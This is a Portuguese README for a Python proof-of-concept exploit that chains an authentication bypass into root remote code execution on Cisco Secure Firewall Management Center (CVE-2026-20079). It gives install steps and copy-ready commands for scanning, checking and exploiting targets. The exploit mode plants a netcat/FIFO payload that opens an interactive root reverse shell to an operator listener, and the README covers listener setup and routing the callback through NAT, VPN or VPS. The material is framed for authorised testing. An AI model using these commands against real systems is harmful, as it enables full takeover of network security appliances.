
Implementa a cadeia de bypass de autenticação para RCE como root do CVE-2026-20079 contra o Cisco Secure FMC usando os modos fingerprint, check, proof e interactive exploit.
Prova de conceito em Python para a cadeia documentada publicamente de bypass de autenticação até RCE com root no Cisco Secure Firewall Management Center, no CVE-2026-20079.
Esta não é uma nova vulnerabilidade nem uma cadeia de exploração desenvolvida de forma independente. É uma implementação clean-room da sequência de requisições publicada pela VulnCheck, com modos separados de fingerprint, verificação em etapas, prova única e exploração interativa.
É necessário Python 3.10 ou superior. No Linux ou macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
Todos os valores 192.0.2.x abaixo são endereços reservados para documentação. Eles são
placeholders, não informações de alvo descobertas, e devem ser substituídos por
valores da avaliação autorizada. Não se espera que os comandos funcionem
sem alterações.
| Exemplo | Significado | O que usar em vez disso |
|---|---|---|
https://192.0.2.10 | URL do FMC alvo | O esquema, endereço e porta exatos do FMC autorizado |
192.0.2.20 | Endereço para onde o FMC se conecta de volta | O endereço IP ou nome DNS do listener do operador conforme alcançável a partir do FMC |
192.0.2.0/24 | CIDR de fingerprint de exemplo | Um intervalo de rede explicitamente autorizado |
4444 | Porta TCP de callback/listener | Uma porta alcançável aprovada no sistema de callback |
0.0.0.0 | Onde o listener se vincula no sistema do operador | Mantenha-o para escutar em todas as interfaces locais, ou use o endereço de uma interface local |
192.0.2.10 em --expected-callback-source | Origem esperada do callback | O endereço de origem do FMC conforme observado pelo listener; omita esta opção quando o NAT tornar isso incerto |
http://127.0.0.1:8080 | Proxy de interceptação local opcional | A URL do proxy que está realmente escutando no sistema do operador |
--callback-hostUse esta regra: do ponto de vista do FMC, qual endereço alcança o
listener do operador? Esse endereço é o --callback-host.
| Caminho de rede | Valor típico de --callback-host |
|---|---|
| Operador e FMC estão na mesma rede roteada | O endereço eth0, en0 ou outro endereço de LAN alcançável do sistema do operador |
| Operador alcança o FMC através de uma VPN | O endereço alcançável da interface VPN, como tun0 ou utun, quando o FMC tem uma rota até ele |
| Operador está atrás de NAT ou firewall | O IP público ou nome DNS cuja porta selecionada é encaminhada para o sistema do operador |
| Um túnel de callback ou VPS é usado | O endpoint de túnel alcançável ou endereço do VPS |
Não use 127.0.0.1 ou 0.0.0.0 para --callback-host. 127.0.0.1 se
referiria ao próprio FMC, enquanto 0.0.0.0 é um valor de vinculação do listener, não um
destino. Garanta que o roteamento, as regras de firewall e qualquer encaminhamento de porta permitam que o
FMC alcance --callback-host na --callback-port.
--listen-host é apenas local: ele seleciona a interface na qual o listener
integrado aguarda. Seu padrão, 0.0.0.0, escuta em todas as interfaces locais. Ele
não informa ao FMC onde se conectar. Portanto, --callback-host e
--listen-host podem ser diferentes, especialmente através de NAT.
Suponha este laboratório fictício, apenas para documentação:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Os valores são mapeados para o comando da seguinte forma:
--target https://192.0.2.10 identifica o FMC que está a ser avaliado.--callback-host 192.0.2.20 é o endereço eth0 do sistema do operador, porque
o FMC consegue encaminhar diretamente para ele.--callback-port 4444 é a porta TCP aprovada utilizada pelo callback.--listen-host 0.0.0.0 faz com que o listener integrado aceite o callback em
qualquer interface local, incluindo eth0.Um comando de prova de execução única para esse exemplo seria:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
O fluxo é: o operador envia requisições HTTPS para 192.0.2.10, então o FMC
conecta de volta ao 192.0.2.20:4444 do operador. Em uma avaliação real,
substitua ambos os endereços IP e confirme a rota de retorno antes de executar o
comando. Se o FMC não conseguir alcançar o endereço eth0 do operador, use o
endereço de VPN, NAT, túnel ou VPS alcançável descrito acima.
| Modo | Efeito de rede ou no alvo | Evidência ou resultado |
|---|---|---|
--fingerprint | Apenas requisições GET | Uma possível superfície web do FMC; não é confirmação de vulnerabilidade |
--check | No máximo duas requisições GET; sem upgrade de sessão | O padrão de resposta do bypass conhecido correspondeu total ou parcialmente |
--check --intrusive | Atualiza o estado da sessão no lado do servidor | Bypass de autenticação e acesso a um token de ação |
--proof | Grava e executa um payload de callback limitado | Execução como root mais limpeza, sem um shell interativo |
--exploit | Grava e executa um payload FIFO/netcat | Um callback root interativo, ou verificação limitada com --auto-verify |
Defina os três valores de exemplo uma vez, substituindo cada um pelo alvo autorizado, endereço de callback do operador e porta:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Em seguida, escolha exatamente um modo:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] A identificação por fingerprint é uma etapa heurística de identificação de produto, não uma verificação de vulnerabilidade.
MATCHeLIKELYnão provam que o alvo está afetado ou é explorável, eNO_MATCHnão descarta o FMC. Proxies reversos, páginas de login personalizadas, controles de acesso, falhas de rede ou alterações no produto podem afetar o resultado.